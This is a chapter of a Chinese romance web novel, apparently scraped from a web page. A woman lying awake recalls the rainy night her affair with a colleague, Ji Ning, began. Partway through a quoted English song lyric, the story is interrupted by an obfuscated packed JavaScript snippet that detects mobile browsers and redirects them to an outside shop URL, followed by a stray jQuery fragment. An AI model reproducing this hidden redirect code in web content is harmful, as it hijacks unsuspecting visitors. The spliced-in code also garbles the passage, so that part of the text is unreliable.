25.回忆
    沈容臻不安时,会选择放手,而徐嘉不安时,会将爱人抱得更紧。他不知疲倦地渴求着,似乎想用这些亲密来证明什么,抚平内心的那些慌乱。

    徐嘉很少有这样失控的时候,和她在H市相处的那些轻松和愉悦一点点消退,最初的那点恐惧慢慢泛了上来。他甚至想到了喻嘉言,要怎样的疯狂才能如此执着地追寻已经消失的东西。那他和沈容臻之间的感情呢,是会和喻嘉言一样,在一个时间点骤然崩塌,还是被这些别有用心的挑拨与觊觎鲸吞蚕食,再回首时,只剩下一个空壳。

    他将沈容臻的手拉到唇边,轻轻啄吻,“我们去买情侣对戒吧,好不好?”

    像是商量的语气,却也像是一种祈求。

    或许是因为经历了父母离世的变故,他一直需要一些东西来增加安全感,最初和沈容臻交往时便是,用身体受伤为代价换来的片酬买了情侣腕表,如今又因为纪宁的刺激,而渴望另一种东西增加彼此的牵绊。

    其实沈容臻并不在意这些,她喜欢一个人时随心而动,不论是腕表还是对戒,在她心里都不是爱情的证明,但徐嘉喜欢,她愿意满足他的喜好。

    沈容臻摸着他汗湿的额发,吻了吻他的唇,“好。”

    身体的快乐很容易得到,可心却有些烦乱,昏暗的卧室里,徐嘉已经睡下了,沈容臻眼神放空着,很久都没有睡着,最后披着睡袍起身,她没有开灯,早已经适应了房中的暗色,推开了书房的门。

    书桌的抽屉里放着一盒烟,沈容臻只有心烦或者压力过大时才会抽上一根,她站在落地窗前,火苗亮起的那瞬,透过玻璃,她看见了自己茫然的神色。

    她在思考一些事,当年和纪宁的纠纏就已经让她“刻骨铭心”,她早已经把那段过往丢在了五年前,五年里,只把纪宁当作一个信任的下属看待,她也是如此做的。那些明星里,尚且有前任再度合作的事,何况她与纪宁并未真正在一起过,她忽略心头的那些异样,认真考虑着纪宁的去留。

    作为一个“前任”,纪宁已经触了她的底线,挑拨了她和徐嘉稳定的感情关系。

    可作为一个下属,纪宁实在优秀,很多时候能懂她想要什么,在她还未开口前便已安排妥当。

    但若是前者,纪宁已经清醒过来,那通电话便是他亡羊补牢的努力。

    烟雾缭绕在她眼前,和纪宁那些发霉的过往慢慢清晰。

    那时子公司里正好有一个不错的项目,但在最忙的时候,组里一个同事离了职,很多工作落到了她和纪宁的身上,他们异常忙碌,常常加班到很晚,有时还要出去同客户沟通,她身心俱疲,甚至吃饭都没了胃口。

    纪宁虽然有时候嘴巴毒了一些,但照顾起人来还是很有一套。他的住处离子公司很近,下班之后会邀她回家,让她在卧室休息一会儿,自己则去厨房做饭,等菜做好了再把她唤起来,即使再忙,菜式不重复,沈容臻看着都觉得复杂。每次吃过饭后,纪宁都把她送回家。她没和哪个男同事走这么近过,两人也始终没有过暧昧的举动,沈容臻试图将此归结为革命友谊,至少她并不排斥和他的相处。

    项目完成的时候,组里同事约在一家烤肉店聚餐,沈容臻并不喜欢这样的场合,但为了不扫兴还是去了,一整晚都没吃多少,纪宁在她身边坐着,一直留心着她。

    从烤肉店出来,两人都拒绝了下一场,把同事送走之后,街边的凉风吹过来,气顺了不少,人也有些饿了,纪宁突然问了句,“想吃什么?”

    她笑了笑,“项目已经结束了,那这算是最后一顿吗?”

    纪宁侧过头来看着她,答得认真,“不算,以后如果你想去,我可以把钥匙留给你。”

    她心头有丝异样,人是一种奇怪的生物,容易被一些事绑定,久而久之,竟有些分不清是习惯还是喜欢。

    车刚开了一会儿,外面竟下起雨来,雨势很大,没多会儿路上已经积水,等回到纪宁公寓的时候,发现地下车库也被人挡住了。

    他们坐在车里,纪宁要下车去后备箱取伞,沈容臻拉住了他,“等一会儿吧,这样下去会淋透的。”

    纪宁拉上了车门,车上的音乐还在响着,他的歌单都是沈容臻前些天选的。英文歌曲浪漫又沉溺,狭窄的空间里有些湿热。

    “Pull me in the water

    Feeling so divine

    Dress is gonna fall off

    Really don't mind

    So what if I feel too much

    So what if I say too much

    Something 'bout the way we touch

    I can never get enough

    Take me to your

    Island vibing sunrise dive in

    Baby I'm your”

    ……

    外面的雨滴落在车窗玻璃上,微冷的夜晚,车内的玻璃凝出水雾,视觉被遮挡,看不清外面的一切,只有身边这个人。歌声萦绕在车内,缠绵婉转,暧昧难安。

    她知道纪宁对英文歌曲没有什么爱好,可两人留学的经历,歌里的一切都在他耳边变得清晰。外面的雨还未停,她心里生出燥意,伸出手去,还未触碰到屏幕,她的手便被捉住,骨节分明的手掌将她的手包裹覆盖。

    沈容臻甚至没有侧过头来看他,她打消了随他上楼吃饭的念头,刚要开口,纪宁的身体倾了过来,寻了她的唇瓣吻上去,她脑海中那根弦断了,不知何时开始,也回应着这个吻。

    “Breathing down my neck give me shivers

    Let's deepen this connection

    Wanna let you ride the

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197118|150551||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    river”

    不知是车里空气稀薄,还是被眼前人攫取了呼吸,这一切都让她透不过气来,纪宁的手贴着她的侧脸,唇落在她的嘴角,“我们上去,好不好?”

    外面的雨下了一夜,卧室的灯被她熄了,沈容臻伏在被子里,浴室里水声沥沥响起,她伸出手指遮住了双眼,她是被纪宁蛊惑了,才会有这样荒唐的事情发生,喜欢纪宁吗?她不知道,可他吻她的时候,她也没有将人推开,更鬼使神差地同他回到了这间公寓。

    纪宁的公寓她已经来过许多次,但这一次的心情已然不同,那个原本应该睡在沙发上的人,从她的枕边起身,她甚至不知道等他从浴室出来的时候,两人清醒过后如何面对。

    她在思索刚才的冲动,和纪宁出乎意料地契合,水声停下的时候,她甚至想着,如果他不是纪宁就好了,她还可以和纪宁继续做同事,这样的念头矛盾得不像话。

    纪宁穿着浴袍走了过来,她没有开灯,他便也只坐在她的床边,没有提起刚才的事,只问她饿了吗?

    沈容臻的确有些饿了,可又不想让他洗过澡后满身油烟,“煮碗面吧。”

    纪宁的手停在她的颈边,“你去洗个澡吧,我很快就做好。”

    纪宁从卧室里出去,沈容臻起身去了浴室,水雾未散,湿热的空间里满是沐浴过后的气息,他的气息。

    沈容臻很快洗完,回到餐桌上,纪宁已经把面做好,看上去很是清淡,沈容臻低头吃面,纪宁那碗面倒没怎么动。吃过饭后,纪宁把碗筷收拾了,沈容臻窝在沙发上,无聊地拨着电视遥控器,纪宁进了卧室里,将床单和被子都换了。

    沈容臻的视线落在电视上,她从来没有这样纠结过,其实也不是什么大不了的事,她和纪宁都是单身,发生了就发生了,虽然她的确对纪宁有些好感,但眼下走一步算一步吧。

    她想通之后,关了电视之后,径直回了卧室。

    公司里依旧忙碌,她和纪宁依旧这样相处,没有刻意下一份定义,白天一起工作,在合适的时间里一起回家,彼此度过一个美妙的夜晚。

    朋友的邀约几次都推拒了,她们大多知道她在自家公司历练的事,还纷纷调侃她收了心,她看着微信群里的消息,忍不住笑了笑。只是笑意还没持续多久,手机里那个号码便打了过来。

    这段时间喻嘉言经常打电话给她,她基本不接。纪宁靠在枕边,似乎也知道这个电话号码属于谁,他伸手将她的手机丢在一边,侧身过来吻住了她。

    一吻结束时,电话也已经停歇,沈容臻把他往一旁推了推,轻斜他一眼,“你想管我啊?”

    纪宁捉住了她的手,“我不想管你,可我不喜欢他。”

    她轻笑一声,前些天喻嘉言来子公司找她时,纪宁拿了一份厚厚的资料给她,她以工作繁忙的理由,顺势将喻嘉言“劝”走。

    喻嘉言横了纪宁一眼,心有不甘地离开了,她靠在座椅上,仰头看着纪宁,手指在那几份资料上点了点,“你确定让我做?”